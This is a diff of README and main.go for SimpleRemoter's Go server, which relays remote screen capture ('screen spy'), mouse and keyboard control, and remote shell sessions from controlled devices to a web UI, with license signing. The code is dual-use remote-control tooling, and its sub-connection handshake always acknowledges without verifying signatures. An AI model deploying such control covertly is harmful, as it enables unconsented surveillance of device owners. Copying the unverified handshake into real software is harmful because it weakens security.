-其他命令会被记录为 Debug 日志，可按需扩展。
+### 服务端 → 客户端
+
+| Command | 值 | 用途 |
+| ---- | ---- | ---- |
+| `COMMAND_SCREEN_SPY` | 16 | 启动屏幕捕获 |
+| `COMMAND_SCREEN_CONTROL` | 20 | 鼠标 / 键盘输入（MSG64 批次） |
+| `COMMAND_NEXT` | 30 | 解除客户端读线程阻塞 |
+| `COMMAND_SHELL` | 40 | 请求开启 shell 子连接 |
+| `CMD_TERMINAL_RESIZE` | 81 | PTY 尺寸 (cols / rows int16 LE) |
+| `COMMAND_BYE` | 204 | 优雅断开屏幕 / 终端 |
+| `CMD_MASTERSETTING` | 215 | 主控配置 + HMAC 签名 (1000B) |
+| `CMD_HEARTBEAT_ACK` | 216 | 心跳响应（携带 Authorized 字段） |
+| `TOKEN_CONN_AUTH` | 246 | 子连接身份握手响应 (256B) |
+
+未列出的命令字节会被记录为 Debug 日志，按需扩展。
 
 ## 快速开始
 
@@ -67,24 +119,54 @@ go mod tidy
 
 ### 编译
 
+推荐用 Makefile，编译前会自动从 `server/web/` 同步 HTML 到 `web/assets/`：
+
 ```bash
-go build -o simpleremoter-server ./cmd
+make build           # 当前平台
+make windows         # Windows amd64
+make linux           # Linux amd64
 ```
 
+也可以直接用 `go build`，但要先手动 sync：
+
+```bash
+make sync && go build -o simpleremoter-server ./cmd
+```
+
+VSCode F5 调试时由 `sync-web-assets` preLaunchTask 自动同步。
+
 ### 运行
 
 ```bash
 ./simpleremoter-server
 ```
 
-服务器默认监听 6543 端口，日志输出到 `logs/server.log`。
+默认监听 TCP 端口 `6543`（被控设备），HTTP 端口 `8080`（浏览器 Web UI）。日志写到 `logs/server.log`。
+
+### 命令行参数
+
+| 参数 | 默认值 | 说明 |
+| ---- | ------ | ---- |
+| `-port` / `-p` | `6543` | TCP 监听端口，分号分隔可多端口（如 `6543;6544`） |
+| `-http-port` | `8080` | HTTP 监听端口（Web UI），传 `0` 禁用 |
+| `-no-console` | `false` | 关闭控制台输出（守护进程模式） |
 
 ### 环境变量
 
 | 变量 | 说明 | 示例 |
-|------|------|------|
+| ---- | ---- | ---- |
 | `YAMA_PWDHASH` | 密码的 SHA256 哈希值 (64位十六进制) | `61f04dd6...` |
-| `YAMA_PWD` | 超级密码，用于 HMAC 签名验证 | `your_super_password` |
+| `YAMA_PWD` | 超级密码，用于 HMAC 签名验证；也作为 Web admin 密码的默认来源 | `your_super_password` |
+| `YAMA_WEB_ADMIN_PASS` | Web UI 的 admin 密码（明文）；优先于 `YAMA_PWD`。两者都未设置时 Web 登录禁用 | `your_admin_password` |
+| `YAMA_SIGN_PASSWORD` | **[LocalSigner 模式]** HMAC-SHA256 master key，直接给 CMD_MASTERSETTING 签名。Operator 自己的部署用。设置此变量后进入 LocalSigner 模式（见下方"签名模式"）。 | `<deployment-shared-secret>` |
+| `YAMA_LICENSE_SERVER` | **[RemoteSigner 模式]** Operator 的 License Server 公开 URL。客户部署设置此变量后进入 RemoteSigner 模式 —— 每次新设备登录会 HTTPS POST 给 License Server 拿签名，本机永远看不到 HMAC master key。必须与 `YAMA_LICENSE_TOKEN` 同时设置。 | `https://license.example.com` |
+| `YAMA_LICENSE_TOKEN` | **[RemoteSigner 模式]** Operator 颁发的客户 JWT（RS256），作为 Bearer token 鉴权。每个客户一份。 | `eyJhbGciOiJSUzI1NiI...` |
+| `YAMA_LICENSE_OFFLINE_HRS` | **[RemoteSigner 模式]** License Server 短暂不可达时，本地缓存签名的宽限期（小时）。默认 24。0 → 不缓存，每次新登录必须联网。 | `24` |
+| `YAMA_LICENSE_PUBLIC_KEY` | **[License Server 模式]** Operator 自己（已经是 LocalSigner）想顺便对外提供 License Server 时，用来验证客户提交的 JWT 的 RSA 公钥 PEM 路径。必须与 `YAMA_LICENSE_HTTP_ADDR` 同时设置。 | `./license_pub.pem` |
+| `YAMA_LICENSE_HTTP_ADDR` | **[License Server 模式]** License Server HTTP 监听地址。**仅在 LocalSigner 模式下生效**（RemoteSigner 客户不能反向当 license server）。建议挂 nginx/Caddy 加 TLS 后对外。 | `:8443` |
+| `YAMA_USERS_FILE` | Path to the JSON file that persists non-admin web users (allowed_groups, password hash, salt). Default is `users.json` in the working directory. | `users.json` |
+| `YAMA_WEB_ALLOWED_ORIGINS` | Comma-separated WebSocket Origin allowlist for cross-origin upgrades. Empty (default) → only same-origin upgrades are accepted, which is correct when the web UI and `/ws` share a host. Add an entry per trusted PWA / dev origin. | `https://yama.example.com,https://yama-mobile.example.com` |
+| `YAMA_WEB_TRUST_PROXY` | Set to `1` only when running behind a reverse proxy you control (caddy / nginx / cloudflare). Switches client-IP extraction to use the last entry of `X-Forwarded-For` instead of `RemoteAddr`, so per-IP login rate limit sees the real client. Direct-exposure deployments MUST leave this unset — otherwise attackers can spoof the header to evade rate limits. | `1` |
 
 ```bash
 # Linux/macOS
@@ -98,8 +180,52 @@ $env:YAMA_PWD="your_super_password"
 .\simpleremoter-server.exe
 ```
 
+## 签名模式（CMD_MASTERSETTING signer）
+
+单个 Go 二进制按启动时的环境变量自动选择三种签名模式之一。同一个 master HMAC key 永远不会出现在客户机器上 —— 这是把 Go server 商业化部署给付费客户的核心安全前提。
+
+| 模式 | 触发条件 | 用途 |
+| ---- | -------- | ---- |
+| **LocalSigner** | `YAMA_SIGN_PASSWORD` 已设 | Operator 自己的部署。master HMAC key 在本机内存，签名直连 HMAC，微秒级延迟。**可选**：再设 `YAMA_LICENSE_PUBLIC_KEY` + `YAMA_LICENSE_HTTP_ADDR` 让本进程同时对外提供 License Server HTTP 服务。 |
+| **RemoteSigner** | `YAMA_LICENSE_SERVER` + `YAMA_LICENSE_TOKEN` 已设 | 客户部署。本机**永远看不到** master HMAC key —— 每次新设备登录会 HTTPS POST 到 operator 的 License Server，拿到签名后塞进 CMD_MASTERSETTING。同 (clientID, startTime) 元组的签名缓存 24h（可调，`YAMA_LICENSE_OFFLINE_HRS`），用于扛短暂网络故障。 |
+| **NoOpSigner** | 上述都没设 | Free tier。返回空签名 → 客户端私有库拒绝启动 screen/file 功能。设备列表仍然可用。 |
+
+注：`YAMA_SIGN_PASSWORD` 与 `YAMA_LICENSE_SERVER` 同时设置时 LocalSigner 优先（operator 自己的 server 不应该回连自己）。
+
+### License Server endpoints（仅 LocalSigner 暴露）
+
+设了 `YAMA_LICENSE_PUBLIC_KEY` + `YAMA_LICENSE_HTTP_ADDR` 后，本进程会监听 `YAMA_LICENSE_HTTP_ADDR` 提供两个端点：
+
+- `POST /license/sign` — body `{"client_id":"...","start_time":"..."}`，header `Authorization: Bearer <customer-JWT>`，回 `{"signature":"<64-hex>"}`。强制按 JWT 的 `tier` + `max_devices` 配额限制。
+- `POST /license/heartbeat` — body `{"active_device_count":N,"active_device_ids":["..."]}`，回 `{"server_view_count":M,"drift":N-M}`。Drift 大于阈值时记日志，供 operator 反作弊审核。
+
+部署建议：本进程只跑 plain HTTP，前面挂 nginx/Caddy/cloudflare 加 TLS。JWT 校验已经把 `alg` 锁死成 RS256，杜绝 `alg:none` 攻击。
+
+### 颁发客户 JWT
+
+```bash
+# 一次性生成 RSA 密钥对（私钥 operator 自己保管，公钥用于 License Server 验证）
+openssl genrsa -out license_priv.pem 2048
+openssl rsa -in license_priv.pem -pubout -out license_pub.pem
+```
+
+底层 API 是 `licensing.Issue(privKey, sub, tier, maxDevices, ttl)`（见 [`licensing/server.go`](licensing/server.go)）。一个开箱即用的 CLI 包装在独立仓库 [`yama-issue-token`](https://git.simpleremoter.com/yuanyuanxiang/yama-issue-token)（go.mod `replace` 指向本仓库的 `licensing` 包），用法：
+
+```bash
+yama-issue-token -priv license_priv.pem -sub acme-corp -tier paid -max 100 -days 365
+```
+
+| Tier | max_devices 默认 | 备注 |
+| ---- | ---------------- | ---- |
+| `trial` | 20（JWT 未指定时） | 移植 C++ 反代理 RTT 逻辑 |
+| `paid` | JWT 必须显式指定 | 长 TTL token |
+
 ## 使用示例
 
+完整的 TCP + Hub + Web 集成示例就是 [`cmd/main.go`](cmd/main.go)，那是程序入口本身、也是最权威的范例 —— 包含 handler 装配、hub 注册、web HTTP/WS 服务、信号优雅关闭等。
+
+如果只想用 TCP 框架做自定义服务端（不要 Web/Hub），最小示例如下：
+
 ```go
 package main
 
@@ -114,57 +240,32 @@ import (
     "github.com/yuanyuanxiang/SimpleRemoter/server/go/server"
 )
 
-// 实现 Handler 接口
+type MyHandler struct{ log *logger.Logger }
-type MyHandler struct {
-    log *logger.Logger
-}
-
-func (h *MyHandler) OnConnect(ctx *connection.Context) {
-    h.log.ClientEvent("online", ctx.ID, ctx.GetPeerIP())
-}
-
-func (h *MyHandler) OnDisconnect(ctx *connection.Context) {
-    h.log.ClientEvent("offline", ctx.ID, ctx.GetPeerIP())
-}
 
+func (h *MyHandler) OnConnect(ctx *connection.Context)    {}
+func (h *MyHandler) OnDisconnect(ctx *connection.Context) {}
 func (h *MyHandler) OnReceive(ctx *connection.Context, data []byte) {
     if len(data) == 0 {
         return
     }
-    cmd := data[0]
+    if data[0] == protocol.TokenLogin {
-    switch cmd {
-    case protocol.TokenLogin:
         info, _ := protocol.ParseLoginInfo(data)
-        h.log.Info("Client login: %s (%s)", info.PCName, info.OsVerInfo)
+        h.log.Info("login: %s (%s)", info.PCName, info.OsVerInfo)
-    case protocol.TokenHeartbeat:
-        h.log.Debug("Heartbeat from client %d", ctx.ID)
     }
 }
 
 func main() {
-    // 配置日志 (控制台 + 文件)
+    log := logger.New(logger.DefaultConfig())
-    logCfg := logger.DefaultConfig()
+    srv := server.New(server.DefaultConfig())
-    logCfg.File = "logs/server.log"
-    log := logger.New(logCfg)
-
-    // 配置服务器
-    config := server.DefaultConfig()
-    config.Port = 6543
-
-    // 创建并启动服务器
-    srv := server.New(config)
     srv.SetLogger(log.WithPrefix("Server"))
     srv.SetHandler(&MyHandler{log: log})
-
     if err := srv.Start(); err != nil {
-        log.Fatal("启动失败: %v", err)
+        log.Fatal("start: %v", err)
     }
 
-    // 等待退出信号
+    sig := make(chan os.Signal, 1)
-    sigChan := make(chan os.Signal, 1)
+    signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM)
-    signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
+    <-sig
-    <-sigChan
-
     srv.Stop()
 }
 ```
@@ -250,7 +351,7 @@ func main() {
 | bWebCamExist | 448 | 4 | 是否有摄像头 |
 | dwSpeed | 452 | 4 | 网速 |
 | szStartTime | 456 | 20 | 启动时间 |
-| szReserved | 476 | 512 | 扩展字段 (用`|`分隔) |
+| szReserved | 476 | 512 | 扩展字段（多字段以 `\|` 分隔） |
 
 ### Heartbeat 结构
 
@@ -374,15 +475,19 @@ publicIP := info.GetReservedField(11)   // 公网 IP
 ## 与 C++ 版本对比
 
 | 特性 | C++ (IOCP) | Go |
-|------|------------|-----|
+| ---- | ---- | ---- |
 | 并发模型 | IOCP + 线程池 | Goroutine 池 |
-| 压缩算法 | ZSTD | ZSTD |
 | 跨平台 | Windows | 全平台 |
 | 内存管理 | 手动 | GC |
 | 代码复杂度 | 高 | 低 |
-| 协议头解密 | 8种方式 | 8种方式 |
+| 压缩 / XOR / 头加密 | 完整 8 套加密方式 + XOREncoder16 + ZSTD | 完全对齐 |
-| XOR编码 | XOREncoder16 | XOREncoder16 |
+| 字符编码 | GBK | UTF-8 直通 / GBK→UTF-8 (按客户端能力位) |
-| 字符编码 | GBK | GBK -> UTF-8 |
+| 设备列表与监控 | MFC 列表控件 | Web UI |
+| Web 远程桌面 | 内嵌浏览器 + H.264 | 完全对齐（WebCodecs 解码） |
+| 鼠标键盘转发 | 已实现 | 完全对齐 |
+| Web 终端 | 内嵌 xterm.js + ConPTY | 完全对齐（含旧 cmd-pipe 兼容） |
+| 用户 / 分组管理 | 已实现 | users.json schema 互通 |
+| 文件传输 / 摄像头 / 录音 等 | 已实现 | 暂未实现（按需扩展） |
 
 ## 依赖
 

server/go/cmd/main.go

@@ -1,19 +1,27 @@
 package main
 
 import (
+	"context"
+	"encoding/binary"
 	"flag"
 	"fmt"
+	"net/http"
 	"os"
 	"os/signal"
 	"strconv"
 	"strings"
 	"syscall"
+	"time"
 
 	"github.com/yuanyuanxiang/SimpleRemoter/server/go/auth"
 	"github.com/yuanyuanxiang/SimpleRemoter/server/go/connection"
+	"github.com/yuanyuanxiang/SimpleRemoter/server/go/hub"
+	"github.com/yuanyuanxiang/SimpleRemoter/server/go/licensing"
 	"github.com/yuanyuanxiang/SimpleRemoter/server/go/logger"
 	"github.com/yuanyuanxiang/SimpleRemoter/server/go/protocol"
 	"github.com/yuanyuanxiang/SimpleRemoter/server/go/server"
+	"github.com/yuanyuanxiang/SimpleRemoter/server/go/web"
+	"github.com/yuanyuanxiang/SimpleRemoter/server/go/wsauth"
 )
 
 // MyHandler implements the server.Handler interface
@@ -21,6 +29,8 @@ type MyHandler struct {
 	log    *logger.Logger
 	auth   *auth.Authenticator
 	srv    *server.Server
+	hub    *hub.Hub
+	signer licensing.Signer // CMD_MASTERSETTING signer (local / remote / noop)
 }
 
 // OnConnect is called when a client connects
@@ -30,12 +40,34 @@ func (h *MyHandler) OnConnect(ctx *connection.Context) {
 
 // OnDisconnect is called when a client disconnects
 func (h *MyHandler) OnDisconnect(ctx *connection.Context) {
+	// Always clean up any sub-context mapping first — the connection may
+	// be a screen / terminal sub-conn rather than a main login connection.
+	// Both Unbind* calls are no-ops if not tracked. UnbindTerminalConn
+	// also fires OnTerminalClosed so the browser sees the session end on
+	// unexpected device-side drops.
+	h.hub.UnbindScreenConn(ctx)
+	h.hub.UnbindTerminalConn(ctx)
+
 	info := ctx.GetInfo()
-	if info.ClientID != "" {
+	// Only treat this disconnect as a device-going-offline event if this
+	// ctx is the device's MAIN login connection. Phase 6 added ClientID
+	// pinning to sub-conns (via ConnAuth — needed for terminal routing),
+	// so a non-empty ClientID alone no longer distinguishes main from
+	// sub. Closing a screen / terminal sub-conn must NOT remove the
+	// device from the hub.
+	if info.ClientID != "" && h.hub.MainConn(info.ClientID) == ctx {
 		h.log.ClientEvent("offline", ctx.ID, ctx.GetPeerIP(),
 			"clientID", info.ClientID,
 			"computer", info.ComputerName,
 		)
+		// Tear down any active sub-conn sessions BEFORE Unregister so the
+		// browser sees screen/terminal close events alongside the
+		// device-offline event, instead of frames/output continuing to
+		// stream from orphaned sub-conn ctxs until they time out on
+		// their own. Both calls no-op if there's no active session.
+		h.hub.CloseScreen(info.ClientID)
+		h.hub.CloseTerminalSession(info.ClientID)
+		h.hub.Unregister(info.ClientID)
 	}
 }
 
@@ -45,6 +77,27 @@ func (h *MyHandler) OnReceive(ctx *connection.Context, data []byte) {
 		return
 	}
 
+	// Terminal-bound sub-conns deliver RAW shell output with no leading
+	// command byte — see client/ConPTYManager.cpp:328 (Send2Server with
+	// just the buffer). We must short-circuit BEFORE the command switch
+	// or the first output byte will be misinterpreted as a token.
+	// Exception: a length-1 packet whose byte is TOKEN_TERMINAL_CLOSE
+	// is the device's "shell exited" notification, NOT data.
+	if devID := h.hub.TerminalDeviceID(ctx); devID != "" {
+		if len(data) == 1 && data[0] == protocol.TokenTerminalClose {
+			h.log.Info("terminal closed by device=%s conn=%d", devID, ctx.ID)
+			h.hub.CloseTerminalSession(devID)
+			return
+		}
+		// Wrap with the 'TRM1' magic the browser uses to demultiplex
+		// terminal output from screen frames over the shared WS.
+		packet := make([]byte, 4+len(data))
+		copy(packet[:4], protocol.TerminalBinaryMagic[:])
+		copy(packet[4:], data)
+		h.hub.PublishTerminalData(devID, packet)
+		return
+	}
+
 	cmd := data[0]
 	// Handle commands
 	switch cmd {
@@ -54,12 +107,235 @@ func (h *MyHandler) OnReceive(ctx *connection.Context, data []byte) {
 		h.handleAuth(ctx, data)
 	case protocol.TokenHeartbeat:
 		h.handleHeartbeat(ctx, data)
+	case protocol.TokenConnAuth:
+		h.handleConnAuth(ctx, data)
+	case protocol.TokenBitmapInfo:
+		h.handleBitmapInfo(ctx, data)
+	case protocol.TokenTerminalStart:
+		h.handleTerminalStart(ctx, true)
+	case protocol.TokenShellStart:
+		h.handleTerminalStart(ctx, false)
+	case protocol.TokenTerminalClose:
+		// Pre-bind close (rare — device gives up before the server
+		// finished its half of the handshake). Best-effort cleanup.
+		if devID := h.deviceIDOfSubConn(ctx); devID != "" {
+			h.log.Info("pre-bind terminal close: device=%s conn=%d", devID, ctx.ID)
+			h.hub.CloseTerminalSession(devID)
+		}
+	case protocol.TokenFirstScreen:
+		// TOKEN_FIRSTSCREEN delivers a RAW BGRA baseline frame, not an
+		// H264 unit — bytes ≈ width × height × 4. The C++ MFC dialog
+		// blits it directly into a DIB; web viewers only consume H264 NAL
+		// data, so dropping it here is correct. The first real H264 IDR
+		// arrives shortly after via TOKEN_NEXTSCREEN.
+	case protocol.TokenNextScreen:
+		h.handleScreenFrame(ctx, data, false)
+	case protocol.TokenKeyframe:
+		// Sent by the client only when frameID % m_GOP == 0; the client's
+		// DEFAULT_GOP is 0x7FFFFFFF (effectively infinite), so this token
+		// is essentially unused in practice. Treat as a no-op for now —
+		// IDRs always arrive in-band via TOKEN_NEXTSCREEN and we catch
+		// them via the H264 NAL scan in handleScreenFrame.
+	case protocol.CmdCursorImage:
+		// Custom cursor bitmaps — relayed in Phase 5+ when the web cursor
+		// overlay learns to render arbitrary BGRA images. Drop silently for
+		// now; the standard IDC_* index (data[10] of every frame header) is
+		// what we actually use right now.
 	default:
 		// Other commands are not implemented yet
 		h.log.Info("Unhandled command %d from client %d", cmd, ctx.ID)
 	}
 }
 
+// handleConnAuth answers a sub-connection identity handshake. Every sub-conn
+// the client opens (screen, terminal, file, ...) sends a 512-byte
+// ConnAuthPacket as its very first payload and blocks for up to 10 s waiting
+// on our 256-byte ConnAuthAck. Without an OK reply the client closes the
+// connection, so a missing ack here means nothing else can proceed.
+//
+// The handshake includes an HMAC signature field. The reference server
+// treats verification failures as soft (logs and still allows commands),
+// and the signing primitive lives in a vendored component out of scope
+// for this server, so we always reply OK and let TOKEN_BITMAPINFO carry
+// the device ID via offset 41 when the screen sub-conn proceeds.
+func (h *MyHandler) handleConnAuth(ctx *connection.Context, data []byte) {
+	// Pin the parent device's ClientID onto the sub-conn. Without this,
+	// later 1-byte tokens (TOKEN_TERMINAL_START / TOKEN_SHELL_START) have
+	// no way to identify which device they belong to — they carry no
+	// clientID themselves. ConnAuthPacket layout has clientID at offset 1
+	// (uint64 LE); see common/commands.h::ConnAuthPacket.
+	if len(data) >= protocol.ConnAuthOffClientID+8 {
+		clientID := binary.LittleEndian.Uint64(
+			data[protocol.ConnAuthOffClientID : protocol.ConnAuthOffClientID+8])
+		if clientID != 0 {
+			// Sub-conns never go through handleLogin, so their ctx.Info
+			// is otherwise empty. We only need ClientID for routing.
+			info := ctx.GetInfo()
+			info.ClientID = strconv.FormatUint(clientID, 10)
+			ctx.SetInfo(info)
+		}
+	}
+
+	ack := make([]byte, protocol.ConnAuthAckSize)
+	ack[0] = protocol.TokenConnAuth
+	ack[protocol.ConnAuthAckOffStatus] = protocol.ConnAuthStatusOK
+	binary.LittleEndian.PutUint64(
+		ack[protocol.ConnAuthAckOffServerTime:protocol.ConnAuthAckOffServerTime+8],
+		uint64(time.Now().Unix()))
+	if err := h.srv.Send(ctx, ack); err != nil {
+		h.log.Error("ConnAuth ack send failed for conn=%d: %v", ctx.ID, err)
+	}
+}
+
+// deviceIDOfSubConn resolves the parent device of a sub-conn from the
+// ClientID pinned by handleConnAuth. Returns "" for the rare case of a
+// legacy client that skipped ConnAuth (the Go server's only target is
+// modern clients, so this is effectively a paranoia check).
+func (h *MyHandler) deviceIDOfSubConn(ctx *connection.Context) string {
+	return ctx.GetInfo().ClientID
+}
+
+// handleTerminalStart fires when the device's freshly-spawned shell
+// sub-conn announces itself. TOKEN_TERMINAL_START (232) means PTY mode
+// (Linux/macOS or Windows ConPTY); TOKEN_SHELL_START (128) means the
+// legacy Windows cmd-pipe path. Both packets are 1-byte tokens — the
+// device identity comes from ConnAuth's pinned ClientID.
+//
+// After binding we send:
+//   - For PTY only: an initial CMD_TERMINAL_RESIZE 80x24 so the shell
+//     doesn't render at the PTY default before the browser's first fit.
+//     vim/htop look broken otherwise. The browser will follow up with a
+//     real term_resize once xterm.js sizes the canvas.
+//   - Always: COMMAND_NEXT to unblock the device's read thread (the
+//     ConPTYManager ReadThread sits on m_hEventDlgOpen until then —
+//     see client/ConPTYManager.cpp:259).
+func (h *MyHandler) handleTerminalStart(ctx *connection.Context, isPTY bool) {
+	devID := h.deviceIDOfSubConn(ctx)
+	if devID == "" {
+		h.log.Warn("terminal start with no clientID: conn=%d", ctx.ID)
+		ctx.Close()
+		return
+	}
+	if !h.hub.BindTerminalConn(devID, ctx, isPTY) {
+		// No pending session — this is a stale sub-conn (e.g. browser
+		// gave up and closed term_close already). Drop it.
+		h.log.Warn("orphan terminal sub-conn: device=%s conn=%d isPTY=%v",
+			devID, ctx.ID, isPTY)
+		ctx.Close()
+		return
+	}
+
+	if isPTY {
+		if err := h.srv.Send(ctx, protocol.BuildTerminalResize(80, 24)); err != nil {
+			h.log.Error("initial resize send failed: conn=%d: %v", ctx.ID, err)
+		}
+	}
+	if err := h.srv.Send(ctx, []byte{protocol.CommandNext}); err != nil {
+		h.log.Error("COMMAND_NEXT send failed on terminal: conn=%d: %v", ctx.ID, err)
+	}
+	h.log.Info("terminal bound: device=%s conn=%d isPTY=%v", devID, ctx.ID, isPTY)
+}
+
+// handleBitmapInfo is the first packet on a freshly-arrived screen
+// sub-connection. Packet layout (after the command byte at data[0]):
+//
+//	[BITMAPINFOHEADER:40][clientID:8 uint64 LE][dlgID:8 uint64 LE][...]
+//
+// So clientID lives at data[41..49] and dlgID at data[49..57]. We use
+// clientID (= MasterID) to bind this sub-context to its parent device.
+func (h *MyHandler) handleBitmapInfo(ctx *connection.Context, data []byte) {
+	if len(data) < 49 {
+		h.log.Warn("TOKEN_BITMAPINFO from conn %d too short (%d bytes)", ctx.ID, len(data))
+		return
+	}
+	clientID := uint64(data[41]) | uint64(data[42])<<8 | uint64(data[43])<<16 | uint64(data[44])<<24 |
+		uint64(data[45])<<32 | uint64(data[46])<<40 | uint64(data[47])<<48 | uint64(data[48])<<56
+	deviceID := strconv.FormatUint(clientID, 10)
+
+	if !h.hub.BindScreenConn(deviceID, ctx) {
+		// Device not registered — main login hasn't happened (or device just
+		// went offline). Drop the orphan sub-conn rather than leak it.
+		h.log.Warn("orphan screen sub-conn %d for unknown device %s; closing", ctx.ID, deviceID)
+		ctx.Close()
+		return
+	}
+
+	// BITMAPINFOHEADER starts at data[1]. biWidth at offset 4, biHeight at
+	// offset 8 (both int32 LE). biHeight may be negative for top-down DIBs.
+	width := int(int32(binary.LittleEndian.Uint32(data[5:9])))
+	height := int(int32(binary.LittleEndian.Uint32(data[9:13])))
+	if height < 0 {
+		height = -height
+	}
+
+	h.log.Info("screen sub-conn bound: conn=%d device=%s resolution=%dx%d",
+		ctx.ID, deviceID, width, height)
+	h.hub.PublishResolution(deviceID, width, height)
+
+	// Notify the client its "dialog is open" so it stops blocking in
+	// Manager::WaitForDialogOpen (client/Manager.cpp:259). Without this
+	// the client waits a full 8 s timeout before it begins streaming
+	// real H264 frames via TOKEN_NEXTSCREEN. 32-byte packet matches the
+	// C++ CScreenSpyDlg::SendNext layout:
+	//   [0]=COMMAND_NEXT [1..9]=dlgID uint64 [9..13]=capabilities uint32
+	//   [13..17]=scrollInterval int32 [17..32]=zero reserved
+	// We don't need scroll-detect / a real dlgID, so leave them zero.
+	nextCmd := make([]byte, 32)
+	nextCmd[0] = protocol.CommandNext
+	if err := h.srv.Send(ctx, nextCmd); err != nil {
+		h.log.Error("COMMAND_NEXT send failed for conn=%d: %v", ctx.ID, err)
+	}
+}
+
+// handleScreenFrame relays one TOKEN_FIRSTSCREEN / TOKEN_NEXTSCREEN packet
+// to all browsers watching this device. The on-the-wire packet starts with
+// the token byte then a small fixed header (algorithm, cursor pos, cursor
+// index) before the video payload (H.264 Annex B or AV1 OBU). The browser-
+// facing WS packet uses the C++-compatible layout:
+// [deviceID:4 LE][frameType:1][dataLen:4 LE][Video:N].
+//
+// alwaysKey=true is used for TOKEN_FIRSTSCREEN (always IDR by construction);
+// TOKEN_NEXTSCREEN keyframe detection is delegated to protocol.IsAnyKeyframe
+// which sniffs the codec from the first byte (0x00 → H.264, else AV1).
+func (h *MyHandler) handleScreenFrame(ctx *connection.Context, data []byte, alwaysKey bool) {
+	deviceID := h.hub.ScreenDeviceID(ctx)
+	if deviceID == "" {
+		return // not a bound screen sub-conn — drop
+	}
+	// data[0] is the token; the 11-byte header sits at data[1..12].
+	const skip = 1 + protocol.ScreenFrameHeaderLen
+	if len(data) <= skip {
+		return
+	}
+	// Cursor index lives at the last byte of the small per-frame header
+	// (offset 1 + 1 + 8 = 10). Publish before the heavy frame work so the
+	// browser sees cursor updates even if we end up dropping frames later.
+	h.hub.PublishCursor(deviceID, data[10])
+
+	video := data[skip:]
+	// 按首字节嗅探 H.264 / AV1，分发到对应的 keyframe 探测器。浏览器侧用同样方式
+	// 决定 VideoDecoder codec string，因此 server 不必感知客户端实际编码器。
+	isKey := alwaysKey || protocol.IsAnyKeyframe(video)
+
+	// Build the WS packet exactly as the C++ ScreenSpyDlg does — the front-end
+	// decoder reads these offsets directly.
+	id64, _ := strconv.ParseUint(deviceID, 10, 64)
+	idLow := uint32(id64)
+	frameType := byte(0)
+	if isKey {
+		frameType = 1
+	}
+	dataLen := uint32(len(video))
+
+	packet := make([]byte, 9+len(video))
+	binary.LittleEndian.PutUint32(packet[0:4], idLow)
+	packet[4] = frameType
+	binary.LittleEndian.PutUint32(packet[5:9], dataLen)
+	copy(packet[9:], video)
+
+	h.hub.PublishScreenFrame(deviceID, packet, isKey)
+}
+
 // handleLogin handles client login (TOKEN_LOGIN = 102)
 func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
 	info, err := protocol.ParseLoginInfo(data)
@@ -68,8 +344,18 @@ func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
 		return
 	}
 
-	// Use MasterID from login request as ClientID for logging
+	// The device's unique ID lives in reserved field 16 (RES_CLIENT_ID) as a
-	clientID := info.MasterID
+	// decimal string of a uint64 — the same number the device later puts at
+	// offset 41 of TOKEN_BITMAPINFO. Using szMasterID here is WRONG: it is a
+	// compile-time MASTER_HASH constant shared by every binary built from
+	// the same source, so all clients would collide in the hub.
+	clientID := info.GetReservedField(protocol.ResFieldClientID)
+	if clientID == "" || clientID == "0" {
+		// Legacy fallback (very old clients that don't fill RES_CLIENT_ID).
+		// MasterID is still preferable to a per-connection number because it
+		// at least stays stable across reconnects of the same binary.
+		clientID = info.MasterID
+	}
 	if clientID == "" {
 		clientID = fmt.Sprintf("conn-%d", ctx.ID)
 	}
@@ -86,17 +372,17 @@ func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
 	}
 
 	// Parse additional info from reserved field
-	if len(reserved) > 0 {
+	if len(reserved) > protocol.ResFieldClientType {
-		clientInfo.ClientType = info.GetReservedField(0)
+		clientInfo.ClientType = info.GetReservedField(protocol.ResFieldClientType)
 	}
 	if len(reserved) > 2 {
 		clientInfo.CPU = info.GetReservedField(2)
 	}
-	if len(reserved) > 4 {
+	if len(reserved) > protocol.ResFieldFilePath {
-		clientInfo.FilePath = info.GetReservedField(4)
+		clientInfo.FilePath = info.GetReservedField(protocol.ResFieldFilePath)
 	}
-	if len(reserved) > 11 {
+	if len(reserved) > protocol.ResFieldClientPubIP {
-		clientInfo.IP = info.GetReservedField(11) // Public IP
+		clientInfo.IP = info.GetReservedField(protocol.ResFieldClientPubIP)
 	}
 
 	ctx.SetInfo(clientInfo)
@@ -109,6 +395,88 @@ func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
 		"version", info.ModuleVersion,
 		"path", clientInfo.FilePath,
 	)
+
+	// PCName carries "ComputerName/Group"; ModuleVersion carries "Version-Capability".
+	// strings.Cut returns the full string as the head when the separator is
+	// absent, which gives us the natural "no group / no capability" fallback.
+	name, group, _ := strings.Cut(info.PCName, "/")
+	version, capability, _ := strings.Cut(info.ModuleVersion, "-")
+
+	// Client-reported geo string (RES_CLIENT_LOC).
+	location := ""
+	if len(reserved) > protocol.ResFieldClientLoc {
+		location = info.GetReservedField(protocol.ResFieldClientLoc)
+	}
+	// RES_RESOLUTION is already formatted by the client as "N:W*H"
+	// (see client/LoginServer.cpp:414). Pass through unchanged so the web
+	// UI's device card renders it next to the version label.
+	resolution := ""
+	if len(reserved) > protocol.ResFieldResolution {
+		resolution = info.GetReservedField(protocol.ResFieldResolution)
+	}
+
+	// Register with hub so the web side can list this device. Sub-connections
+	// (screen / terminal etc.) reuse the MasterID and will overwrite this entry
+	// harmlessly, but only the main login carries enough info to be useful here.
+	h.hub.Register(&hub.Device{
+		ID:          clientID,
+		Name:        name,
+		Group:       group,
+		Version:     version,
+		Capability:  capability,
+		OS:          info.OsVerInfo,
+		CPU:         clientInfo.CPU,
+		FilePath:    clientInfo.FilePath,
+		InstallTime: info.StartTime,
+		Location:    location,
+		Resolution:  resolution,
+		PeerIP:      ctx.GetPeerIP(),
+		PublicIP:    clientInfo.IP,
+		ConnectedAt: time.Now(),
+	}, ctx)
+
+	// Push CMD_MASTERSETTING with a signature over "StartTime|ClientID".
+	// The client's private FileUpload init verifies this before allowing
+	// screen / file operations — without it the binary aborts itself.
+	h.sendMasterSetting(ctx, info.StartTime, clientID)
+}
+
+// sendMasterSetting builds the 1001-byte CMD_MASTERSETTING reply and ships it
+// down the main TCP connection. Most fields stay zeroed — only Signature
+// matters today. The signer is one of:
+//   - LocalSigner: HMAC directly with master key (operator's own deployment)
